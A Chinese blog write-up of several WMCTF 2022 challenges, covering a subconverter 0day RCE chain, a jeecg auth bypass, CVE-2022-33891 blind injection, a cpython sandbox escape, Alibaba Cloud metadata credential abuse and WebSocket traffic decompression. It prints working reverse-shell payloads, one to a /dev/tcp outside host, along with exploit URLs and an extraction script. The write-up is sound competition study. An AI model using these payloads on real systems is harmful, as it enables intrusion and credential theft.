Toc
  1. 前言
    1. WEB
      1. subconverter
        1. RCE?
        2. 文件写入
        3. 任意文件读取
        4. 构造quickjs脚本
        5. RCE 链
        6. RCE!
        7. 小插曲
    2. easyjeecg
    3. Java
      1. ssrf
      2. spark
      3. bash延时”注入”
      4. 交互shell
  2. 6166lover
    1. 信息泄露
    2. 代码审计
    3. cpython简单的沙箱逃逸
    4. 数据恢复?
    5. k8s 容器逃逸
  • PWN
    1. Ubuntu
  • MISC
    1. Hacked_by_L1near
      1. permessage-deflate
  • Checkin
  • Toc
    0 results found
    白帽酱
    WMCTF 2022 部分 WRITEUP
    2022/08/23 writeup writeup

    前言

    这次WMCTF拿了3个一血
    题目设计非常有趣 其中还有几个0day 很多实际渗透遇到的问题也考虑到了

    图片.png图片.png

    WEB

    subconverter

    一血
    题目给了一个开源的代理订阅转换器
    是个C++的项目

    拿到源码 首先先寻找路由 查看鉴权逻辑

    /*
    webServer.append_response("GET", "/", "text/plain", [](RESPONSE_CALLBACK_ARGS) -> std::string
    {
    return "subconverter " VERSION " backend\n";
    });
    */

    webServer.append_response("GET", "/version", "text/plain", [](RESPONSE_CALLBACK_ARGS) -> std::string
    {
    return "subconverter " VERSION " backend\n";
    });

    webServer.append_response("GET", "/refreshrules", "text/plain", [](RESPONSE_CALLBACK_ARGS) -> std::string
    {
    if(global.accessToken.size())
    {
    std::string token = getUrlArg(request.argument, "token");
    if(token != global.accessToken)
    {
    response.status_code = 403;
    return "Forbidden\n";
    }
    }
    refreshRulesets(global.customRulesets, global.rulesetsContent);
    return "done\n";
    });

    webServer.append_response("GET", "/readconf", "text/plain", [](RESPONSE_CALLBACK_ARGS) -> std::string
    {
    if(global.accessToken.size())
    {
    std::string token = getUrlArg(request.argument, "token");
    if(token != global.accessToken)
    {
    response.status_code = 403;
    return "Forbidden\n";
    }
    }
    readConf();
    if(!global.updateRulesetOnRequest)
    refreshRulesets(global.customRulesets, global.rulesetsContent);
    return "done\n";
    });

    webServer.append_response("POST", "/updateconf", "text/plain", [](RESPONSE_CALLBACK_ARGS) -> std::string
    {
    if(global.accessToken.size())
    {
    std::string token = getUrlArg(request.argument, "token");
    if(token != global.accessToken)
    {
    response.status_code = 403;
    return "Forbidden\n";
    }
    }
    std::string type = getUrlArg(request.argument, "type");
    if(type == "form")
    fileWrite(global.prefPath, getFormData(request.postdata), true);
    else if(type == "direct")
    fileWrite(global.prefPath, request.postdata, true);
    else
    {
    response.status_code = 501;
    return "Not Implemented\n";
    }

    readConf();
    if(!global.updateRulesetOnRequest)
    refreshRulesets(global.customRulesets, global.rulesetsContent);
    return "done\n";
    });

    webServer.append_response("GET", "/flushcache", "text/plain", [](RESPONSE_CALLBACK_ARGS) -> std::string
    {
    if(getUrlArg(request.argument, "token") != global.accessToken)
    {
    response.status_code = 403;
    return "Forbidden";
    }
    flushCache();
    return "done";
    });

    webServer.append_response("GET", "/sub", "text/plain;charset=utf-8", subconverter);

    webServer.append_response("GET", "/sub2clashr", "text/plain;charset=utf-8", simpleToClashR);

    webServer.append_response("GET", "/surge2clash", "text/plain;charset=utf-8", surgeConfToClash);

    webServer.append_response("GET", "/getruleset", "text/plain;charset=utf-8", getRuleset);

    webServer.append_response("GET", "/getprofile", "text/plain;charset=utf-8", getProfile);

    webServer.append_response("GET", "/qx-script", "text/plain;charset=utf-8", getScript);

    webServer.append_response("GET", "/qx-rewrite", "text/plain;charset=utf-8", getRewriteRemote);

    webServer.append_response("GET", "/render", "text/plain;charset=utf-8", renderTemplate);

    webServer.append_response("GET", "/convert", "text/plain;charset=utf-8", getConvertedRuleset);

    if(!global.APIMode)
    {
    webServer.append_response("GET", "/get", "text/plain;charset=utf-8", [](RESPONSE_CALLBACK_ARGS) -> std::string
    {
    std::string url = urlDecode(getUrlArg(request.argument, "url"));
    return webGet(url, "");
    });

    webServer.append_response("GET", "/getlocal", "text/plain;charset=utf-8", [](RESPONSE_CALLBACK_ARGS) -> std::string
    {
    return fileGet(urlDecode(getUrlArg(request.argument, "path")));
    });
    }

    显然 token参数 用于部分路由的鉴权
    其中 /version 路由可以获取当前版本 访问之
    发现题目中给出的是 f9713b4分支版本的代码
    是一个未release的最新版本 看来是个0day
    重新pull代码 开始审计最新版本

    RCE?

    项目内置了一个脚本引擎quickjs
    引擎初始化 包含库图片.png追踪调用 发现脚本引擎在profile 转换时调用且需要鉴权
    URL满足script: 开头即可进入分支
    其中读取脚本时使用了fileGet函数来读取文件 只能读取普通文件
    该点的利用条件: 鉴权 + 写入文件

    继续查看其他eval调用
    图片.png在定时任务中同样也使用了这个脚本引擎
    这里与之前不同的是此处使用的是fetchFile函数
    这个函数支持 data: http: https: 文件读取图片.png定时任务的脚本路径使用了配置文件中的配置项
    利用条件: 修改配置文件

    文件写入

    webGet下方的代码引起了我的注意
    这个函数实现了一个简单的缓存功能用于缓存远程订阅
    在缓存过程的中写入了文件
    只有cache_ttl>0时请求才会被缓存
    一番搜索过后发现了一个添加ttl的缓存路由
    图片.png访问 /convert?url=http://1.1.1.1:8000/1.js 即可发起一个缓存请求

    任意文件读取

    convert路由调用了fetchFile函数 获取文件内容 这个函数可以读取本地文件
    convert读取文件后只对文件进行了简单的正则替换 所以,我们可以利用这个路由读取任意文件.
    图片.png成功读取当前目录下的配置文件 (其实这个项目还有一堆文件读取点 x)
    鉴权token到手

    构造quickjs脚本

    在官方文档中查找代码中引入的库所对应的函数列表
    很快在std库中发现了一个常见的命令执行函数popen

    图片.png直接构造一个反弹shell

    std.popen("bash -c 'echo 5YGH6KOF6L+Z5piv5LiA5p2h5Y+N5by5c2hlbGzor63lj6UgIGlAcmNlLm1vZQ==|base64 -d|bash'", "r");

    RCE 链

    到这里可以整理出最简单的两条RCE链:
    修改配置文件->添加计划任务->计划任务执行脚本
    写入文件->转换profile->执行本地脚本
    修改配置文件的路由是POST方法
    后来发现题目使用的中间件代理只允许GET请求,还限制了传入参数.所以第一条只能放弃.

    RCE!

    第一步
    读取配置文件 获取token
    图片.png第二步
    缓存远程文件
    /convert?url=http://1.1.1.1:8000/1.js
    第三步
    计算缓存文件名 带入token 触发订阅转换 执行脚本
    /sub?token=K5unAFg0wPO1j&target=clash&url=script:cache/c290fb8309721db5f8622eb278635c1a

    GETSHELL!
    图片.png

    小插曲

    当时我的一个用于出网检测的vps 由于网络被动,在第一次发起请求时并没有返回数据.
    还以为目标服务器不出网.
    为了解决不出网的问题.
    当时就想到了利用嵌套convert构造一个url. 在不出网的情况下缓存文件.
    127.0.0.1:25500/convert?url=http://127.0.0.1:25500/convert?url=data://text/plain,abcdefg123123orange
    结果发现了一个玄学的现象
    自身发起的请求总是无法请求到自身的http服务
    请求本地其他web服务正常访问
    排查了半天后在数据包发现请求中有一个特殊的请求头
    排查了半天才找出的安全特性为了防止回环请求(自身访问自身服务)引起的dos
    在http头打了一个标记,收到有标记的请求直接拒绝访问.
    研究了半天发现无法绕过这个特性
    本来要放弃的时候我又随手一测 发现又能访问我的VPS了 x)

    easyjeecg

    一血
    一个开源java 项目
    https://github.com/zhangdaiscott/jeecg
    题目描述写的签到题难度 (checkin)
    实际上这道题也非常简单
    题目修改了默认管理员密码
    图片.png首先看下鉴权过滤器部分
    其中有一处特别显眼的路由判断
    判断了requestpath前几位是否为 api/ 作为鉴权白名单
    可以直接使用 api/;../ 绕过这个全局鉴权
    图片.png
    之后找到了一处后台上传点
    题目禁止了访问upload目录下的jsp jspx绕过之
    图片.png图片.png

    Java

    一道简单的内网渗透题

    ssrf

    图片.png网站只有一个获取url访问的功能
    扫描内网同网段的机器
    图片.png
    发现了一个低版本spark

    spark

    直接尝试 CVE-2022-33891
    发现过滤了空格和`
    多次测试发现目标机器完全不出网
    尝试使用延时获取flag

    bash延时”注入”

    按照之前题目的套路 ,web题目的flag都是运行/readflag 读取
    先判断/readflag 是否存在
    编写bash脚本

    file="/readflag"
    if [ -f "$file" ]; then
    sleep 3
    fi

    构造url
    url=http://10.244.0.145:8080/?doAs=|echo${IFS}ZmlsZT0iL3JlYWRmbGFnIgppZiBbIC1mICIkZmlsZSIgXTsgdGhlbgogIHNsZWVwIDMKZmk%3D|base64${IFS}-d${IFS}|bash&Vcode=FPML
    根据延迟判断根目录下存在 readflag
    编写bash脚本判断文件内容

    VAR=`/readflag`;
    if [[ "${VAR:0:1}" = "a" ]]; then
    sleep 2
    else
    sleep 0
    fi

    奇怪的事情发生了 远程的机器测试无法复现 在执行第一行后就会立马退出
    尝试把执行后的结果写到临时文件 读取临时文件
    /readflag >/tmp/dfsdef
    再次尝试读取第一字节 脚本测试通过
    之后随手写了个简单的python2脚本用于自动化判断

    import requests
    import base64
    import urllib

    small = [chr(i) for i in range(97,123)]
    big = [chr(i) for i in range(65,91)]
    num =[str(x) for x in range(0, 10)]
    lista=small+big+num+['{','}',' ',"\n",'-','_']
    data1="""VAR=`cat /tmp/dfsdef`;
    if [[ "${{VAR:{}:1}}" = "{}" ]]; then
    sleep 2
    else
    sleep 0
    fi"""

    print(lista)

    b=0
    while True:
    for a in lista:
    datab=data1.format(b,a)
    try:
    requests.post("http://1.13.254.132:8080/file",data="url=http://10.244.0.145:8080/?doAs=|echo${IFS}"+urllib.quote(base64.b64encode(datab.encode()))+"|base64${IFS}-d${IFS}|bash&Vcode=FPML", cookies={'JSESSIONID':'1F64EAF97095DA0736F5EE5B0F7CF20A'},headers={'Content-Type': 'application/x-www-form-urlencoded'}, timeout=1,verify=False)
    except:
    print(a)
    break
    b=b+1



    图片.pngreadflag 返回了一个奇怪的内容
    图片.png
    看起来是某种交互shell 提示需要输入队伍token 因为没有输入返回了错误

    交互shell

    图片.png
    如果遇到这种普通的交互shell 有一个非常简单的解决方法
    直接echo 后面加上换行符 使用管道重定向到目标的标准输入
    重新读取返回
    图片.png
    成功getflag

    6166lover

    这道题非常可惜 卡在了阿里云ak sts利用的部分
    题目使用了rust +rocket

    信息泄露

    根目录中的Cargo.toml可以被下载

    [package]
    name = "static-files"
    version = "0.0.0"
    workspace = "../"
    edition = "2021"
    publish = false

    [dependencies]
    rocket = "0.5.0-rc.2"
    js-sandbox = "0.1.6"
    cpython = "0.7.0"

    得到了包名 static-file
    同时可以看出项目使用了 js-sandbox 和 cpython
    访问 /static-files 可以下载题目文件

    代码审计

    rust IDA反编译出的代码非常难看
    所以优先使用rocket自带的debuglog 判断路由
    阅读rocket代码 发现 loglevel 可以使用环境变量控制
    图片.png
    添加环境变量运行 发现有4条路由
    图片.png
    (first) GET /
    (second) GET /<path..>
    (test2) GET /debug/wnihwi2h2i2j1no1_path_wj2mm? < code >
    (test) GET /debug/3wj2io2j2nlwnmkwwkowjwojw_path_eee? < code >

    图片.png结合IDA反编译 不难看出 两个test路由
    一个调用了js沙箱
    一个调用了cython

    cpython简单的沙箱逃逸

    显然cpython rce可能性更大些
    项目中没有导入其他python库
    也不能直接使用import
    访问
    /debug/wnihwi2h2i2j1no1_path_wj2mm?code=print(dir(builtins))
    查看可以使用的函数
    图片.png
    发现可以使用exec和__import__
    /debug/wnihwi2h2i2j1no1_path_wj2mm?code=print(exec(%22__import__(%27os%27).system(%27echo%20YmFzXXXXXXXXXXXXXXXXXPiYx%7Cbase64%20%2Dd%7Cbash%27)%22))
    直接尝试反弹shell
    成功rce
    过了一段时间被kill 使用 nohup & fork 一个新进程 解决
    之后exit结束当前进程

    图片.png
    找了半天哪里都找不到flag)
    最后ps 发现启动时rm了flag

    图片.png数据恢复?

    首先我想到了rm删除的文件没有覆盖时可以从硬盘中直接读取
    这里只需要简单使用grep匹配字符串就可以
    构造命令行

    dd if=/dev/sda1|grep -o -m 1 -a -E '(WMCTF)\{.*\}'

    本地测试成功
    到了远程测试发现失败
    明明df 中存在的目录 为什么会无法访问)

    ls -ll /dev/
    total 0
    lrwxrwxrwx 1 root root 11 Aug 21 11:39 core -> /proc/kcore
    lrwxrwxrwx 1 root root 13 Aug 21 11:39 fd -> /proc/self/fd
    crw-rw-rw- 1 root root 1, 7 Aug 21 11:39 full
    drwxrwxrwt 2 root root 40 Aug 19 18:39 mqueue
    crw-rw-rw- 1 root root 1, 3 Aug 21 11:39 null
    lrwxrwxrwx 1 root root 8 Aug 21 11:39 ptmx -> pts/ptmx
    drwxr-xr-x 2 root root 0 Aug 21 11:39 pts
    crw-rw-rw- 1 root root 1, 8 Aug 21 11:39 random
    drwxrwxrwt 2 root root 40 Aug 19 18:39 shm
    lrwxrwxrwx 1 root root 15 Aug 21 11:39 stderr -> /proc/self/fd/2
    lrwxrwxrwx 1 root root 15 Aug 21 11:39 stdin -> /proc/self/fd/0
    lrwxrwxrwx 1 root root 15 Aug 21 11:39 stdout -> /proc/self/fd/1
    -rw-rw-rw- 1 root root 0 Aug 21 11:39 termination-log
    crw-rw-rw- 1 root root 5, 0 Aug 21 11:39 tty
    crw-rw-rw- 1 root root 1, 9 Aug 21 11:39 urandom
    crw-rw-rw- 1 root root 1, 5 Aug 21 11:39 zero

    之前光在本地测试 之后才反应过来这原来是个容器环境)
    那么恢复文件的方法只可能是拿到容器镜像了

    k8s 容器逃逸

    用于没有k8s逃逸经验 这里我直接拿出了CDK 工具自动检测
    图片.png
    发现可以访问到阿里云的metadata api
    图片.png
    拿到了一个 角色为KubernetesWorkerRole的StS 临时令牌
    经过一下午的测试 发现这个令牌的权限非常小 这是个阿里云容器服务 ACK容器内的key
    得到的稍微有价值的信息 只有通过api读取的ecs实例列表
    并不能进行修改操作 猜测应该要拉取题目镜像 getflag 但是在题目给出的阿里云国际版文档并没有找到api
    只进行到这里了 x)


    在官方解放出来后成功复现了题目

    WEB-6166lover:
    1. Figure out that is a Rocket application and has Cargo.tml leaked.
    2. Download it and find the application name "static-files" and download the binary.
    3. Run it with debug mode or Write a example application by yourself to find out the route has been registered.
    4. Figure out both of the debug route have done, one is js sandbox, the another one is python "sandbox". Just think them as a black box and test them.
    5. Run python code to RCE.
    6. ps -ef, You will find /flag has been deleted when the instance booted.
    7. Use Alibabacloud metadata to get the host instance metadata, And a worker role on it. https://help.aliyun.com/document_detail/214777.html / /meta-data/ram/security-credentials/

    8. Use metadata api to get the temp credentials.
    9. Use temp credentials to invoke api GetAuthorizationToken. https://help.aliyun.com/document_detail/72334.html
    10. Pull image from alibabacloud image registry with username cr_temp_user and authorizationToken as its password.
    Image: registry.cn-hangzhou.aliyuncs.com/glzjin/6166lover

    You may know these from the challenge domain, I have deployed in hangzhou of alibabacloud k8s service(ACK). And know the author name is glzjin, and the challenge name 6166lover.
    11. After pull it, just run it with docker run -it registry.cn-hangzhou.aliyuncs.com/glzjin/6166lover bash, and you may get the flag on the image.

    Thank you:)
    Just get your reverse shell like that:
    http://6166lover.cf8a086c34bdb47138be0b5d5b15b067a.cn-hangzhou.alicontainer.com:81/debug/wnihwi2h2i2j1no1_path_wj2mm?code=__import__('os').system('bash -c "bash -i >%26 /dev/tcp/137.220.194.119/2233 0>%261"')

    And maybe you have to find out a way to fork your process that not jam this application because it's deployed on k8s with a health check.

    使用拿到的token调用GetAuthorizationToken api 获取阿里云镜像仓库的临时凭证
    https://help.aliyun.com/document_detail/72334.html

    #!/usr/bin/env python
    #coding=utf-8

    from aliyunsdkcore.client import AcsClient
    from aliyunsdkcore.request import CommonRequest
    from aliyunsdkcore.auth.credentials import AccessKeyCredential
    from aliyunsdkcore.auth.credentials import StsTokenCredential

    credentials = StsTokenCredential('<your-access-key-id>', '<your-access-key-secret>', '<your-sts-token>')
    client = AcsClient(region_id='cn-hangzhou', credential=credentials)

    request = CommonRequest()
    request.set_accept_format('json')
    request.set_method('GET')
    request.set_protocol_type('https') # https | http
    request.set_domain('cr.cn-hangzhou.aliyuncs.com')
    request.set_version('2016-06-07')

    request.add_header('Content-Type', 'application/json')
    request.set_uri_pattern('/tokens')


    response = client.do_action_with_exception(request)

    # python2: print(response)
    print(str(response, encoding = 'utf-8'))

    图片.png
    使用凭证登陆仓库
    图片.png
    pull 题目镜像
    ps:题目镜像仓库名和镜像名可以利用 内网的metrics监控查看到 也可以根据作者和题目名猜测
    curl 172.20.240.9:8080/metrics
    图片.png
    registry.cn-hangzhou.aliyuncs.com/glzjin/6166lover
    图片.png

    图片.png

    PWN

    Ubuntu

    出题人失误,忘记修改题目flag
    直接使用镜像内flag
    图片.png

    MISC

    Hacked_by_L1near

    一血

    L1near大黑客趁我睡觉的时候给我的tomcat服务器上了个websocket的内存马呜呜呜,还往服务器里写了一个flag,但是我这只抓到了websocket通信期间的流量,你能知道L1near大黑客写的flag是什么吗?
    L1near hacker put a websocket memory on my tomcat server while I was sleeping, and wrote a flag to the server, but I only captured the traffic during websocket communication, you can know L1near What is the flag written?
    Attachment:
    China: https://pan.baidu.com/s/144Cl2IlzMfUEa-niGvKZAg 提取码: pdva
    Other regions: https://drive.google.com/file/d/1wRHzI6sfwM7Mkw2QjcAEgxBL_5hEwK0m/view?usp=sharing

    根据题目描述 这肯定是最近veo开源的那个ws内存马
    https://github.com/veo/wsMemShell
    图片.png大部分数据包以C1 开头 这的确是ws流量
    这个内存马并没有加密流量的功能 为什么题目的流量不是明文呢?

    permessage-deflate

    ws流量的压缩
    阅读ws相关的rfc 我发现了ws有一个 支持压缩的特性
    https://www.rfc-editor.org/rfc/rfc7692

     A Message Compressed Using One Compressed DEFLATE Block

    Suppose that an endpoint sends a text message "Hello". If the
    endpoint uses one compressed DEFLATE block (compressed with fixed
    Huffman code and the "BFINAL" bit not set) to compress the message,
    the endpoint obtains the compressed data to use for the message
    payload as follows.

    The endpoint compresses "Hello" into one compressed DEFLATE block and
    flushes the resulting data into a byte array using an empty DEFLATE
    block with no compression:

    0xf2 0x48 0xcd 0xc9 0xc9 0x07 0x00 0x00 0x00 0xff 0xff

    By stripping 0x00 0x00 0xff 0xff from the tail end, the endpoint gets
    the data to use for the message payload:

    0xf2 0x48 0xcd 0xc9 0xc9 0x07 0x00

    Suppose that the endpoint sends this compressed message without
    fragmentation. The endpoint builds one frame by putting all of the
    compressed data in the payload data portion of the frame:

    0xc1 0x07 0xf2 0x48 0xcd 0xc9 0xc9 0x07 0x00

    The first 2 octets (0xc1 0x07) are the WebSocket frame header (FIN=1,
    RSV1=1, RSV2=0, RSV3=0, opcode=text, MASK=0, Payload length=7). The
    following figure shows what value is set in each field of the
    WebSocket frame header.

    0 1
    0 1 2 3 4 5 6 7 8 9 0 1 2 3 4 5
    +-+-+-+-+-------+-+-------------+
    |F|R|R|R| opcode|M| Payload len |
    |I|S|S|S| |A| |
    |N|V|V|V| |S| |
    | |1|2|3| |K| |
    +-+-+-+-+-------+-+-------------+
    |1|1|0|0| 1 |0| 7 |
    +-+-+-+-+-------+-+-------------+






    Yoshino Standards Track [Page 22]


    RFC 7692 Compression Extensions for WebSocket December 2015


    Suppose that the endpoint sends the compressed message with
    fragmentation. The endpoint splits the compressed data into
    fragments and builds frames for each fragment. For example, if the
    fragments are 3 and 4 octets, the first frame is:

    0x41 0x03 0xf2 0x48 0xcd

    and the second frame is:

    0x80 0x04 0xc9 0xc9 0x07 0x00

    Note that the RSV1 bit is set only on the first frame.

    去掉前两位 flag
    unmask 之后在末尾加上0x00 0x00 0xff 0xff 就可以使用 zlib解压raw数据
    这里偷懒编写脚本重放流量 补全缺失的ws会话 塞给一个支持压缩到的ws服务端解析

    import socket
    import binascii
    import time
    from flowcontainer.extractor import extract
    result = extract(r"info.pcapng",filter='',extension=['tcp.payload'])
    s = socket.socket()
    host = '127.0.0.1'
    port = 8088

    for key in result:
    try:
    s = socket.socket()
    s.connect((host,port))#http升级ws首包
    s.send(binascii.unhexlify("474554202f6563686f20485454502f312e310d0a486f73743a203132372e302e302e313a383038380d0a557365722d4167656e743a204d6f7a696c6c612f352e30202857696e646f7773204e542031302e303b2057696e36343b207836343b2072763a3130332e3029204765636b6f2f32303130303130312046697265666f782f3130332e300d0a4163636570743a202a2f2a0d0a4163636570742d4c616e67756167653a207a682d434e2c7a683b713d302e382c7a682d54573b713d302e372c7a682d484b3b713d302e352c656e2d55533b713d302e332c656e3b713d302e320d0a4163636570742d456e636f64696e673a20677a69702c206465666c6174652c2062720d0a5365632d576562536f636b65742d56657273696f6e3a2031330d0a4f726967696e3a20687474703a2f2f3132372e302e302e313a383038380d0a5365632d576562536f636b65742d457874656e73696f6e733a207065726d6573736167652d6465666c6174650d0a5365632d576562536f636b65742d4b65793a204b624e4b6f59636a495367797a4c38553977536745513d3d0d0a444e543a20310d0a436f6e6e656374696f6e3a206b6565702d616c6976652c20557067726164650d0a436f6f6b69653a2063737266746f6b656e3d70756d423538564e414c543964624567535450574956414a504d4259454e393152445578485063535367434e37477554386b5564636c334e477a78653567526e3b20636f6d2e776962752e636d2e77656261646d696e2e6c616e673d7a682d434e3b205f67613d4741312e312e313535373634333133362e313635383231343434340d0a5365632d46657463682d446573743a20776562736f636b65740d0a5365632d46657463682d4d6f64653a20776562736f636b65740d0a5365632d46657463682d536974653a2073616d652d6f726967696e0d0a507261676d613a206e6f2d63616368650d0a43616368652d436f6e74726f6c3a206e6f2d63616368650d0a557067726164653a20776562736f636b65740d0a0d0a"))
    s.recv(1024)#等待模拟服务器返回
    value = result[key]
    a=value.extension['tcp.payload']
    for c in a:
    s.send(binascii.unhexlify(c[0]))
    pass
    except:
    continue
    s.close()
    #

    使用一个ws模拟服务器接收请求
    图片.png发现解压后的流量是一堆判断每一个字节内容的bash语句
    图片.png匹配返回为1的请求
    拼接字符串得到flag

    图片.png
    (在最后发现最新版wireshark也支持ws解压缩(需要会话完整) 难怪作者会删掉会话头)

    Checkin

    签到
    WMCTF{Welcode_wmctf_2022!!!!have_fun!!}

    本文作者:白帽酱
    版权声明:本文首发于白帽酱的博客,转载请注明出处!